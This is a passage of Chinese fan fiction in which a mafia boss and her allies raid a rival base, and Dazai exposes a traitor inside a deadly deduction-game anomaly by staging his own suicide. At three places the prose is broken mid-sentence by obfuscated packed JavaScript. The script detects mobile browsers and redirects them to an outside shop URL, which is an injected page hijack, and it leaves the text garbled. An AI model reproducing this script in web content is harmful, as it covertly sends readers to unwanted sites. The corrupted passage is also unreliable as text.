“关于资金周转的问题,太宰那家伙昨天随口提过一句,说他‘大概有点想法’。虽然没细说,但既然他开口了,多半可以期待下成果。” “欸——太宰?” 少女首领托着头,颇有些意外, “好少见看到他这么主动,也不能这么说……对了,乱步,你知道太宰为什么会加入港口mafia吗?” 少年扭头看向她,有些不明所以: “喔?因为结衣是这里的首领啊。” “我不是这个意思。你看,晶子并没有正式加入港口Mafia的打算,之前也只是在总部要了一间休息室,偶尔心血来潮才会去医疗部搭把手。中也,兰堂哥和我有找回过去记忆的打算,乱步你留在这里说过是要陪着我,但太宰……” 她回忆起那天对方的说辞,那份疑惑反而加深了, “太宰留在这里是……有什么想要的东西吗?” “嗯?” 江户川乱步发出疑惑的尾音,他坐直了些,将罕见地露出了认真思考的神情, “那种复杂的想法名侦探有时候也搞不懂啦,不过单从结果上考虑,有一点我可以肯定——太宰至今为止的所有行动,虽然偶尔会造成一些混乱和麻烦,甚至让人火大,但确实没有真正伤害过结衣你哦。” 他想了想,又补充道: “不过,就算在我们中,太宰也是最特殊的一个。我和中也,兰堂先生,从某种意义上来说,算是被你‘捡’回去的,与谢野的情况也差不多,但只有太宰他——他最初找上门的时候,气氛有点奇怪。硬要说的话,好像是他掌握了你的什么把柄或者秘密,所以以此为条件,强行加入了进来。” 她还是第一次听说这种事: “把柄?” “唔,具体是什么,我也不太清楚呢。没有任何线索,结衣你也没有提到过,重要程度与否我也不确定。” 他抱着双臂,依旧是理所应当的语气, “如果结衣很在意的话,那毕竟也是结衣你过去的记忆的一部分,等这次行动结束后,我找其他人联手试试看能不能套出来他的话好了。” “倒是……也没有必要做到这种地步,如果大家都不知道的话,应该不是什么特别重要的事或者危险的事吧?如果关系到了大家,我肯定会说的,可能是什么比较囧的把柄吧。” 黑羽结衣估摸着自己先前的性格和这段时间与太宰治的接触,犹豫着摇摇头, “算了,还是专注眼前的事吧,那些人真的会和我们之前猜测的一样露马脚吗?” “笨蛋之所以是笨蛋,是因为他们从来不会从过去的失败中吸取教训,他们只会觉得你之前是碰巧打乱了他们的计划。如果能直接找到证据就好了,那家伙的办公室不管是朝向和布置我都很喜欢呢~” “那就期待能找到合适的证据吧,现在也只有乱步你还没有自己的办公室了。” 听到这个名字她无意识地皱紧眉, “不过如果我来当诱饵的话,或许就能轻易将他按背叛处理,这样,你就有自己喜欢的办公室了,而作为准干部的兰堂哥也能代替他顺理成章地晋升——” 黑羽结衣的异能名为时空旅人,是可以自由进行空间穿梭的,非常机动性的异能。她提这件事也是仰仗于这份足够特殊的能力。不过真谈论起来,是似乎比起坐在指挥中心的首领更适合行动的能力。 “结衣明明对异能的熟练度还只能算马虎吧,‘合适的人要在合适的位置做合适的事’,这是你之前和我说的话,现在反回来也给你哦。” 江户川乱步用那双澄澈的绿色眼眸望过来, “是第一次指挥实战,太紧张了吗?” 黑羽结衣握了握手中的怀表,倒也没有意外他能直指核心。 “有一点。” 她老实回答。 毕竟是她苏醒后第一次承担同伴安危的责任,说完全不紧张,肯定是假的。 江户川乱步重新靠回沙发: “没关系,名侦探在这里,一切都会顺利的。” 耳机里传来各小队就位的报告。黑羽结衣深吸一口气,按下通讯键: “各队注意,按计划行动。” 行动计划是在前天晚上的作战会议上敲定的。那场会议并不算和谐,尤其在人员部署上,曾短暂爆发过争论。 当时,江户川乱步站在巨大的横滨地下势力分布图前,用红色记号笔在其中一处被重点标注的位置,大大地画了个叉: “gss有多个据点和补给点,我们此次的计划是袭击这一处。这是gss前段时间最新建立起的基地,由于筹建仓促,有不少地方的安防还有漏洞,这是第一。” “第二,他们急急忙忙地在这里建立起基地,近期向这里调派了相当数量的人员和重火力装备。虽然不知道是为了遮掩什么秘密,但也说明这里对他们而言非常有利可图。” “第三,如果能在这里将GSS当前能动用的最具战斗力的那部分核心武装力量一举击溃,那么后续将这个组织从横滨的版图上彻底抹去也不是难事。” 因为黑羽结衣对现状几乎一无所知,而作为首领她又绝不可能对行动置之事外,只做一个高台听政的傀儡,于是侦探难得耐着性子,将原因掰碎了解释给她听。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140762|196321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 太宰治站在战术板前,他负责人员部署和现场指挥: “明天的行动,按目的大致可以分为正面佯攻和侧面侵入两组,具体分为六个行动小队,其中,据我掌握的一点小情报,二队和五队的队长私下里都和那位干部先生有关系,所以我打算将正面佯攻组中,最先接敌、承受压力最大的两个‘箭头’位置,分别交给他们两队负责。当然,这也不是说其他组没有内鬼。” “正面佯攻组会遭受重火力。” 太宰治的语气轻松, “如果内鬼在这两队里,他只有两个选择:要么暴露身份帮助敌人,要么为了不暴露而拼死作战。无论哪种,对我们都有利。” “我不信你没有牺牲更少的计划,如果内鬼不是他们呢?那样那些手下的人也会随着一同遭殃,你就是用自己人的命当诱饵。” 中原中也当时就皱紧了眉,他倒也不是心软,只是对这种将同伴当成弃子的算计本能地反感。 “中也。” 太宰治转头看他,鸢色的瞳孔深不见底, “在黑手党的世界里,‘自己人’这个词,是需要用行动来证明的。反正,这个计划不管是谁去也一样,他们去至少能削弱那位干部先生的势力,在这方面还能多发挥点额外的作用。还是说,你打算自告奋勇?” “我……” 中原中也闭了闭眼,没有再反驳了。 而太宰治的目光随即转向了从会议开始就很少发言的黑羽结衣: “那么,首领小姐呢?对这个计划有什么高见,或者是什么慈悲的心怀吗?” “我相信你和乱步的判断,这是一切的前提。只是,” 她停顿了一下, “请务必……注意安全。” 太宰治与她的视线只相交了短短一瞬,便立刻移开了。他没有确切地回答,只是用鼻音轻轻“嗯”了一声,算是回应。 黑羽结衣回想起这个细节,有些怀疑太宰这次是否又掺杂了些危险的想法。也就在这时,代表着三队行动路线的屏幕黑了下去,不仅如此,几乎在同一时间,连无线通讯也断了。 面对这样的情况,屏幕前的两人像是早就知晓一般,黑羽结衣按了按额角,而江户川乱步则丢下零食,嘴角不受控制地向上扬起: “笨蛋就是笨蛋。果然上钩了。而且,比我们预想的还要心急呢。” “内鬼看来不止我们重点怀疑的那两位队长啊。只能希望太宰不会因为想体验一把近距离死亡的乐趣,擅自脱离指挥位置,跑到最危险的地方去……” “安心啦,那家伙至少在大事上不会掉链子的,他有分寸……大概。” “不过,GSS在这个基地部署的火力,比我们之前情报预估的还要猛烈得多……” 看着那汹涌的火力,黑羽结衣微微皱起眉, “那里到底有什么值得他们保护的东西?” 而被他们谈论的太宰治,如今正站在那只小队最后失去联络的地方。面前的踪迹太过容易判断,简直敷衍地令人想笑。他低头看了看手中的便携终端,沉思了几秒便做出了决定,一个人信步向内走去。 9. 异常区 太宰治顺着走廊一路向下。 与先前修建的基地不同,这里布满了锈痕,仿佛许久没有被打理过,但那些脚步的痕迹却层层叠叠,只是如果仔细去看,只有脚印朝下的方向而并没有上行的脚印。 如果这时候停下脚步,返回原地,就会突兀地多出来与众不同的脚印吧? 太宰治因为这突如其来的想法不禁漏出一丝笑意,他双手插着兜,似乎真的动了这份心思,但脚步依旧稳稳地向下,踏入回旋向下的锈红色楼梯。回转的封闭空间内没有任何生机,暗淡的走廊光晕染出模糊不清的背影,就这么持续走着,偶尔甚至会造成迷失在时间和空间的错觉。他垂下眼,不再在意台阶的数量,转而开始数着自己的心跳。 直到再没有向下的楼梯,而是露出一截平台来,以及那平台终点,看着和周围的暗红融于同样颜色的大门。 他抬起眼,与站在门口的第三行动队的队长视线相交,对方明显没想到来人会是他,两人三目对视的那一刻,男人明显产生了一瞬间的慌乱。 但那人还是强撑着,对面前这位他们本次行动的最高指挥开口汇报: “太宰大人,这扇门后似乎有蹊跷。队员们先行进攻后就一直没有消息传回来,我——” 太宰治慢悠悠地走上前,歪着头打量着这位队长: “哦?你是……村田君对吧?真是少见啊,队员们全部都先行进攻,只有身为队长、理应身先士卒的你躲在最后吗?那还真是和谐友好的上下级关系呢。我都要被感动了。” 村田额角渗出细密的冷汗: “我只是以防万一,准备等待其他人接应……” 他突然停顿了,随后语气有点古怪地问道, “太宰大人……没有带人过来吗?” “没有哦,你们组通讯断的太突然,只有我一个人过来了。” 太宰治耸了耸肩,满意的看着对方的表情越来越险恶,还不忘补充了一句, “并且,因为没有多余的人手,理论上,目前也没有人知道我去了哪里。” “那样啊……那,那可真是……太危险了。” 村田眼神闪烁着,他像是下定了某种决心,上前一步,右手按住了面前少年单薄的肩膀, “既然如此……太宰大人,您作为前线最高指挥,经验丰富,应变能力超群,应该更能处理这种紧急又危险的状况吧?” 他手指收紧,身上开始隐隐浮动起异能的光芒: “这扇门后的‘蹊跷’,就请您……亲自进去确认一下吧!” 村田的语气陡然变得凶狠,按在太宰治肩膀上的手猛然发力,就想将他狠狠推进那扇仿佛通往地狱入口的大门! 只是这位队长忽略了一件至关重要的事,那就是太宰治这个人,本身拥有的能力就是所有异能者都避畏的“人间失格”。 异能被无效化的那一刻,村田怔愣了片刻,也就是那个迟疑的瞬间,少年没有躲避,反而灵活地扣住村田的手腕,一揪一拿,两个人一起以狼狈的姿势滚进了门内。 门合上了。 而在三组最后一个红点消失的同时,代表太宰治的红点也消失在了地图上。 黑羽结衣撑着桌子站了起来。她和乱步对视一眼,几乎是同时说出了那个答案: “异常区!” “接下来,现场交给我来指挥,” 江户川乱步懒散的姿势坐直了,他的手按在她微微颤抖的手背上,带着安抚, “结衣,冷静,没关系的。” 他望入对方的眼底,语气是前所未有的笃定: “那可是太宰。” 被信赖的少年如今正姿态别扭地坐在一把暗红色的天鹅绒椅上,低声抱怨着: “好痛……” 虽然是一起滚进来的,但不知为何,在进入这个空间的时候,某种无形的力量便将两人分开,并各自安置在了房间内的两把椅子上。 “哦呀,没想到GSS的基地里,竟然还能冒出一个异常区。有意思,真的太有意思了。” 少年停下抱怨,好奇地打量着这间房间,里面的装饰一切都是深红色,几张椅子围绕着中间的圆桌摆放,那圆桌上也覆盖着深红色的天鹅绒桌布,上面放了一座插着蜡烛的烛台。目之所及都是同一片颜色,让空间内的氛围都幽深起来。 太宰治试着动了动,发现只要不是离开座位,其他的动作都是被允许的。他伸了伸胳膊,随后才状似无意地看向旁边已经慌张到脸上失去血色的男人: “你看起来比我还要害怕呢。一般不都是那个说法吗?人会对未知产生恐惧,但你看起来不像是在这里完全不知情的样子呢。倒更像是知道这里可能发生什么,所以才怕成这样?” “闭嘴!你这个不知死活的蠢货!如果不早点找到离开的方法,我们两个人都会死在这里——” “嗯?那个不着急啦,反正现在你也动不了,我也动不了,故事好像也还没有开场。” 嘀咕着“在异常区内死掉不知道是不是是一种没有痛苦的死法呢”的少年支着下巴,和蔼地发问, “或者我们可以在这个空隙先说说,就比如说你收了GSS多少好处,才会答应给他们当内鬼?如果我今天不来,你自己回去还能编个悲壮的幸存者故事,真是可喜可贺,可喜可贺啊。” 男人不答,只是一味怒瞪着他: “现在可没有人会惯着你那胡思乱想的猜测和诽谤了!我奉劝你还是省点力气,早点想想怎么从这个鬼地方出去吧!不然,你那令人讨厌的生命,就只能永远停留在十五岁了!” “停留在十五岁啊……” 太宰治若有所思地重复了一遍,随即有些遗憾地叹了口气, “听起来似乎是个不错的选择,但稍微有点遗憾,这次出发前,可是有人和我说,希望我‘注意安全’,姑且算是她的第一个请求吧,我还不想这么快就搞砸自己的形象呢。” 这完全不在乎目前处境的发言让村田几乎要疯掉了。 “啊,至于你的事,从哪里开始说呢?对了!” 但少年根本不在意他的目光,他打了个响指, “你既然看起来不是很着急找生路,或者说,你觉得根本找不到——那么我就先说点关于这个异常空间的推理吧。你好像很害怕这里呢,之前也说部下全部覆灭,那句是真话吧。所以你只知道进来的人出不去,却不知道里面具体发生了什么吗?” 那烛火在他的眼底跳跃着闪烁,仿佛带着某种劝诱的意味: “我们也算是绑在同一根绳子上的蚂蚱了,不打算说点什么吗?现在好好考虑,说不定我还能宽宏大量地想点办法,让我们两个都活下去呢。毕竟和男人一起殉情什么的,太恶心了,我绝对——不要!” “你能有什么办法?我再说一次,我从来没有进过这个房间,至于你口中说的和GSS勾结我也根本没做过!” “还真是顽固啊!” 太宰治惋惜地摇摇头,语气却冷了下来, “真是遗憾,这次的作战计划,具体细节我发给每个带队队长的都不太一样,就比如第二组是正面突击,三组借机从爆破点进入,也就是说,哪里进入了埋伏,就说明到底是谁做了叛徒。而你最开始的行动,和现在又恰好相反… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140763|196321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …好无聊,你知道的吧?世间不是什么事都可以给你第二次机会。你比我进入组织的时间要更年长,想必也比我更清楚港口mafia是怎么对待叛徒的吧?” 男人脸上先是被揭穿的恐惧,随后那恐惧又迅速转化成冷笑: “所以呢?在临死之前也要查明真相的勇气,真是令人可敬,太宰大人!这个地方根据我所知道的所有情报,几乎没有逃生的选项!” “你也说了是几乎。也许多一个人就多一份力量,恰好能找到那个破除异常区的关键呢?毕竟,每个异常区都有其规则和钥匙,这可是常识。” “然后呢?!” 村田几乎是在咆哮, “就算真找到办法出去了,然后呢?!被你以叛徒的身份当场处决吗?!横竖都是死,我凭什么要帮你?!” 少年眨了眨眼睛,显得分外纯良无辜: “唔……虽然说没有特例,但碰巧黑羽首领上任,我也愿意在这方面宽宏大量显现出人情味的一面呢。不如这样,先把你知道的所有情报都交出来,然后,我们一起努力找生路,总比现在就确定要死在这里要强,对吧?” 村田的脑中进行了一番激烈的天人交战,最后,求生的欲望和对这恐怖房间的畏惧,暂时压过了一切。他咬了咬牙,将自己所知道的一切情报尽数低声说了出来。 但这片异常空间显然没有给他们那么久的应对时间。 村田的叙述接近尾声时,一道轮廓看上去像是人类,却完全没有面容的身影出现在了另一张椅子上: “欢迎,你们是来到这里的新人吧。真不错,今天又有新的观众了。” 那个“人”的虚影做了个绅士礼,声音听起来爽朗厚重, “你们正好是第……” 空气中突然爆发出滋滋的声响。在少年兴致盎然的目光中,模糊的声音如同隔了一层磨砂玻璃一样变成了杂音,就连形象也出现斑驳的嘈杂色块。 村田眼底充满了茫然: “我……好像从来没听到过会有这种变化。之前逃出来的人没有说过——” 太宰治的尾音却奇怪地扬起: “哦?也就是说,是偶然了?” “我不知道,毕竟不是每次进来的人都能出去。如果不是这里有——” 他捂住了自己的嘴。 与此同时,港口mafia。 “结衣?结衣!” 黑羽结衣从意识恍惚中惊醒,发现江户川乱步已经不再盯着指挥屏,而是担忧地站在了她面前,下一秒就打算伸手去摸她的额头, “冷静,从刚才开始,你身上的异能光芒就一直在闪烁。我知道你担心太宰,但现在贸然去现场也无济于事。” 黑羽结衣茫然地眨了眨眼。 明明刚刚还在因为太宰治的突然失踪而担忧的坐在乱步身后,等待着他的现场指挥,却不知道为何又发展到了现在的局面。中间那段记忆仿佛被凭空抹去,黑羽结衣只能将这种异常归结于太过紧张导致的大脑一片空白: “我没事。现在情况怎么样了?大家还好吗?太宰呢?” “兰堂先生听到出事,异能差点暴走,结果就是比预想中更快地撕开了GSS的防线,他们的重要火力点正在被逐个拔除。” 他顿了顿, “至于太宰那边……暂时还没有消息,没关系,名侦探向你保证,大家都会平安无事的。” “嗯……我相信你,乱步。” 黑羽结衣周身的银白色光芒终于稳定地消散,江户川乱步又看了她几秒,似乎有那么一刻想说些什么,但还是什么都没有问出口来。 10. 红房间 与此同时。 异常区内,那个虚影重新恢复了稳定: “……第九十九位和,第一百位。” 太宰治眼神微动: “听起来真是个好数字,不是吗?” 虽然根本没有面容,少年却能感受到那个虚影的目光投在了他的身上: “确实如此,你们应该会是最近来到这里的最后两位客人了。正巧,我也对这件事有些厌倦了。我已经看过前面……那么多的意外事件了,不过如果连见到他人的死亡都感到厌倦的话,大概下一步就是该思考如何为自己拉下帷幕了吧。” 它似乎只是随口感叹,继续说回正题: “‘红房间’向来公平公正,作为推理游戏,有奖有罚。你们需要做的,是聆听我讲述的案件。你们可以提出指控,指出凶手,并提供你们所认为足以定罪的证据。” “如果你们推理的证据确凿成立,那么就可以从我这里获取想要的情报,但与之相反,作为代价,失去的也正是自己的生命。另外,推理游戏过程中,禁止客人之间互相残杀。” “为了保证公平,我每次只会给一位客人发言指控的机会。只有第一个提出指控,并且‘发言正当正确’的人,才能赢得活下去的资格。毕竟,之后发言的人如果只是照搬了第一个人的发言,那也太不公平了。” 这句话将外来的两人彻底钉在了对立面。村田眼神闪烁着,似乎有些后悔之前说了那么多。他先是很快地看了门的方向一眼,视线又带着点警惕地掠过太宰治的身影。太宰治没把他的举动放在心上,反而继续询问: “这就是之前求生者们的最终真相吗?争先恐后地忙着指认,最终只有一个人能离开。” 那名讲述者,或者称之为主持人的轮廓点点头: “也可能一个都不能离开。那么和先前一样,让我想想,今天讲哪个故事比较好呢?如果你们无法判断,我也可以多换几个故事,毕竟今天算是……最后的演出了。” 它像是在回忆: “那么,就从那位‘盲人按摩师’的故事开始吧。” “那位按摩师是个性情古怪的人,也可能正是因为那份残缺造成了这样的古怪性格,别人出于好意提醒他的时候,他总是会觉得对方在捉弄他,从而做出相反的举动。” 随着他的话语,桌面上的烛光闪烁着,打下巨大的阴影。 “我和他比较相熟,也清楚他的性格,那天他正在家附近的路边散步,所以并没有用上导盲杖,而那条街右侧刚好有下水道在维修,虽然已经标了明显的禁止靠近的牌子,但对方根本看不到,也不清楚这件事。” “于是我用开玩笑的口吻对他喊了一句,‘不要从右边走,要从左边走啊’。那个按摩师果然怒斥我‘不要开这种玩笑!’,于是向右边走了几步,结果就那么掉了进去,转眼人就消失在了深沟里,真是可惜,在救援来之前,他就已经没有生机了。” “这不明显就是你吗?我要先一步指控你!” 不知是由于紧张还是什么其他的原因,村田的精神极度亢奋,几乎是在这个故事话音刚落的时候,根本没有细细思考,近乎是凭着本能吼出了指控。 “你确定吗?在这个故事中,我可是好意提醒对方不要去危险的地方,难道你要说,我存在主观上的恶意吗?这可需要足够的证据。” “当然了!在你没有提醒他之前,那位按摩师其实是走在街道左边的吧,是你的那句话刺激了他!如果不是你说了那句话,就不会导致那样的结果!你的那句提醒就是证据!” 那道模糊的人影像是轻微地叹了口气, “如果……你坚持这样认为的话。我的讲述已经完毕,在演出结束的空隙,两位可以自由活动了,那么接下来——” 在听到“自由活动”那四个字时,村田脸色涨得通红,他几乎是迫不及待的从椅子上跳了下去,发现确实可以行动,就立刻冲向刚刚那扇门的来处。 他知道自己的推理漏洞百出,但他赌不起,也不敢赌,因此他也只是在抢占先机——赌自己可以比规则执行更早地离开这里的机会! 他爆发出此生最快的速度,朝着那扇门冲去。 在路过太宰治的一瞬间,村田看到坐在椅子上那位少年神情平淡,那没有任何波澜的眼眸望着他,仿佛……像是在望着一个死人。 村田只感觉一股寒意从尾椎骨直窜上天灵盖,但来不及了,他此刻已经冲到了门口。 “虽然你的指控并非全无道理。但我之前说过了,这份证据是无法当做确凿罪证的,是不受任何司法所庇护的,无法被采用的,是所有人眼中的意外。” 主持人打了个响指, “所以很遗憾这位先生,你出局了。” 村田已经拧开了门把手,但打开门后他却发现外面的空间已经完全不是来时的空间了。可是以刚刚那样的速度,他根本来不及刹车,就那样凭借着惯性冲进了混沌的空间内,消失在他们的视线中。 圆桌旁,只剩下太宰治,和那个异常空间内的主持人。 太宰治依旧坐在那把暗红色的高背椅上,姿态甚至没有太大变化,只是静静地看着村田消失,随后才语气平淡的反问: “如果没有找到你说的确凿证据,那么哪怕打开那扇门也出不去,对吧?那扇门本身就是陷阱的一部分。” “因为这里的规则如此。规则真是一个美妙而好用的工具,不是吗?” 主持人坦然承认, “我并没有动手,但对方就那样死掉了,我甚至还好心的提醒了他,又有什么人能说出我的一点过错呢?只是太遗憾了,第九十九位客人离开之后,这个空间只剩下这一次机会,就会消失在这里了。” “你刚刚说,只要达成一百次,那么无论是什么结果,都会暂时落下帷幕,但这并不是彻底消失,而是类似某种暂停休整,是这样的吗?” “对外来者来说,这两者又有什么区别呢。” 主持人不答反问, “那么,接下来到你了,你又想听什么样的故事,提供什么样的证据呢?” 随着它的问话,房间内的光线似乎进一步黯淡下去,深红的房间内只有太宰治坐着的椅子,从上面打下些微惨白的光,黑暗中的暗红看起来更可怖了,仿若被拉进了一个无法醒来的噩梦。 “你真是给我造成了个大麻烦。” 太宰治的语气听不出明显的情绪来, “本来还想把他带出去当个合格的人证,这下又要再多费点心思了,真是遗憾。” “这位客人,事到如今还在遮掩什么呢?你和我是同一类人,否则,刚才你也不会一直沉默,只是看着他表演了。” “被你这样的存在定义成同类,还真是令人不爽啊,我感觉自己的隔夜饭都要从嗓子里涌出来了。” 少年皱了皱鼻子,调整了一下坐姿。他一只腿随意搭在另一只腿上,整个身体重重向后面的椅背靠过去。随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140764|196321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后他慢条斯理地,从口袋中掏出一把枪。 “你刚刚在说,禁止互相残杀,对吧?但也就代表,没有说明不能对自己动手。” 那把枪就在他指尖灵巧地转了个漂亮的枪花,最后那黑洞洞的枪口直直指向自己左胸心脏的位置。 烛光映照着那空无一物的鸢色眼眸,他嘴角勾起一抹近乎虚无的微笑: “我指控证据,杀死我的人,是我自己。” 他就带着那样的笑容,轻巧地打开了手枪保险,随后,食指扣上冰冷的扳机。 没有任何犹豫,手指用力,向内勾动—— “砰”——! 黏稠温热的液体迅速从着弹点涌出,浸透了黑色的西装外套和里面的白色衬衫,深色的痕迹迅速扩大。 少年的身体在子弹冲击力下微微后仰,撞击在椅背上。随后,他握着枪的手无力地垂下。 少年的心跳停止了跳动。 “嗯?这倒也是个好办法呢,如果要在独自一人的房间内找到确凿的证据,这样的办法确实是完美的逻辑,只可惜,没有第二个人能借此离开了。那么,就以此作为‘红房间’的终幕吧,这位少年死于……自杀。” 判定失败。 “我刚刚就在想这件事,” 明明已经心脏停跳,在那零点一秒内,空间判定成功了。但如今那位少年却睁开了眼睛, “这个规则,应该是对任何人都适用的,不仅是我们这些外来者,也是你。或许你也是曾经的外来者呢?不过那些都不重要了。重要的是,我刚刚完成了第一百次的指控。” 太宰治一字一顿,清晰地说道: “你说的这个空间会在第一百次关闭,指的并不是消散,而是暂时完结。空间判定应该已经成功了,毕竟,我的‘死亡’是显而易见的事实。作为成功的指控,我应该获得奖励。而你作为规则的一部分,做出了错误的判决,根据核心规则,那么接下来会发生什么?” 那看不清面容的轮廓发生了波动。 “……哈哈哈哈哈哈,真是太有趣了!真要感谢你,这可比我想象中的剧本要有趣的多!是啊,矛盾!无法调和的矛盾!我会消失吧,因为规则!而我消失了,这个由我主持的‘红房间’……自然也会彻底消亡!” 周围的一切如潮水般消退,异常区逐渐消失,主持人的声音越来越淡, “我曾经能利用的,也无非是那些比你们更早知道的情报。那是进来的所有人都想要追寻的东西,本来不应该存在于世界之内的,但恰好,处在规则的漏洞下,我该为你奉上一份礼物的。” “就把那些多余的东西,当做一份临别的礼物吧……送给此刻坐在这里,为我献上最精彩谢幕的客人。” 虚影消失了。 与此同时,太宰治坐着的椅子也不见了,少年一屁股坐在了地上,龇牙咧嘴地揉了揉自己的尾椎骨: “唉,真是没想到,为自杀想出来的妙招竟然有一天会为了活下去这种俗气的理由使用,人生啊,有时候真是无常到令人发笑。” 他撑着地面站起来,将胸口放置的血包随意丢出去,刚刚发射的,也无非是一发空包弹,本来可能是预防其他意外的,结果没想到会用在这里。 随着异常区的消散,周围的景色一瞬也变得和刚刚完全不一样了。他环视了一圈这狭小的地下室,弯下腰捡起刚刚遗留在主持人位置的那件物品,随后挑起眉: “……嗯?有意思。” 11. 地图 太宰治独自返回港口mafia的时候,GSS基地的突袭行动已接近尾声,结果已经是板上钉钉的事。而少年虽然先在通讯里报了平安,但当他本人打开办公室大门的时候,恰好是心脏附近的那片深色痕迹还是把黑羽结衣结结实实地吓了一跳。 在先前的通讯里对方语焉不详地表明有一个大惊喜,但也没说过会是这样的惊喜啊! “太宰,不对,晶子——!” 黑羽结衣瞬间弹跳起身,张口就要喊人。 “有被‘惊喜’到吗?” 始作俑者本人却仿佛完全没意识到自己这副尊容带来了多大冲击,反而依旧是平时那副懒洋洋的模样,只是脸色比先前苍白了些。 “这完完全全是惊吓吧!你现在感觉如何,有没有浑身发热或者发冷之类的——” 黑羽结衣已经三步并作两步走到他面前,想要扶着他又担心姿势不对会造成二次伤害。 另一边的江户川乱步还在屏幕前观察收尾的情况,翠绿的眼睛瞥了过来,闻言刚打算插嘴,太宰治已经大鹏展翅一般张开双臂,笑容变大: “其实是——假的啦~” 黑羽结衣闻言怔了怔,仔细盯着那片“血迹”看了几秒,又伸出手,揪住他黑色西装外套和里面白色衬衫的领口,发现衣服确实没有破损,最后又凑过头嗅了嗅,确信一点血腥味都没有闻到才舒了口气: “真是的,下次不要搞这些惊吓啊……” “哼哼,一点小小障眼法。” 太宰治得意地看着对方中招,随即扫了一眼那边的屏幕, “正好小矮子他们那边也该结束了,我说的惊喜可以等人齐了一起讲。” 之后就任由黑羽结衣怎么追问,他都不愿意说了。江户川乱步斜睨了他一眼,也只是收到一个无辜的笑容,少年也就暂时放弃了插话,而是趁机喊了起来: “结衣,我要这个!帮我拿出来——” 他将一瓶不知道之前藏在哪里的波子汽水拿了出来,伸出手就要黑羽结衣帮忙取出里面的玻璃珠。 黑羽结衣的异能做这个简直是小菜一碟。少年举起蓝绿色的玻璃,澄澈的眼眸中倒映着相似的模样,像是一模一样的倒影。 与谢野晶子对这种会议一向不感兴趣,压根没有参加的打算,而等中原中也推开门带着一身冷肃气息的时候,他的身后却空无一人。 “兰堂哥呢?” 顺理成章的,黑羽结衣提出了这个疑问。 “可能是刚刚异能爆发太累了吧,” 中原中也带着困惑的神情走了进来, “我听他的下属说,兰堂哥在战斗结束之后,立刻就回自己的房间休息了,刚刚我试着拨他的通讯器,也没有回应。” “……是之前的异能爆发消耗太大了吗?真是辛苦啊,一会我去房间看看他吧,” 黑羽结衣感叹了一句,随后又转向太宰治, “好了太宰,现在你的听众差不多都到齐了,你想要给我们看的惊喜可以揭晓了吗?” “结果我大张旗鼓地等了这么久,却只是等到了这只聒噪的小蛞蝓吗?切,真是令人不爽。” 太宰治露出了一个仿佛吃到酸柠檬般的表情,在赭发少年蓦然攥紧拳头叫喊着“想打架吗青花鱼”的吵闹中,从口袋里拿出一张被仔细叠起来的纸,将它完全展开, “就是这个。” 呈现在众人面前的,是一张横滨市的地图。纸张有些泛黄老旧,除此之外,似乎与市面上流通的任何一张横滨地图都一样,甚至论精度远不如港口mafia的战术地图。 “这就是你从异常区里拿出来的东西吗?” 他们纷纷凑上前去,试图找到什么特殊的地方。 “异常区?” 中原中也在来之前根本不知道这件事,随后皱着眉头望过去, “喂,以你这个体格,不会在那边差点死掉了吧?” “哎呀,小矮子这是在以己度人吗?” 太宰治立刻用那种气死人不偿命的语调回敬, “实际上,说不定换成你这只脑子里长满肌肉的蛞蝓去,就真的会因为横冲直撞死在里面了哦?毕竟,不懂得动脑子的生物,在那种地方可是最先被淘汰的~” 太宰治轻描淡写地一笔带过里面发生的事,仿佛遭遇的不是什么致命的危机而是路边随便什么小石子树枝之类的: “不过对我来说,整个过程真是无聊透顶,解决之后感觉空虚极了。我刚刚还想问呢,小姐你的怀表有显示什么变化吗?” 黑羽结衣闻言愣了一下,这才反应过来,她下意识低头看了一眼: “……没有。” “那看来,触发的条件可能比我们想的更苛刻一些。或许需要小姐在附近甚至参与其中吧,之后再实验几次就能抓住规律了。” 他也不等其他人再多观察或者思索这那副看上去和平常地图没什么区别的纸张,直接了当地公布了答案, “这是可以动态显示异常区出现的具体地点和大致范围的地图。” 指挥室内瞬间安静了下来。 “GSS那群人应该也是因为尝到了甜头,所以才不惜派重兵把守在那个地下基地。只是太可惜了,他们显然没有掌握通关的诀窍,反而在里面折损了不少人手,不过也正是因为此,他们才先一步找到了之前那个异常区吧。” 但再试图追问他在异常区内具体经历了什么,又是如何获得这张地图时,少年却立刻换上了一副嫌恶的表情,表示那是他“最讨厌的一段经历”,甚至用“堪比小矮子出事之后我还得捏着鼻子去主动救人一样令人作呕”来比喻。 这个比喻一下让中原中也刚刚平复的怒火再次爆炸,两个人一言一语激烈地吵了起来。黑羽结衣看看局势,很明智地决定先一步离开,免得像之前那样被卷入争端: “我去找兰堂哥。” 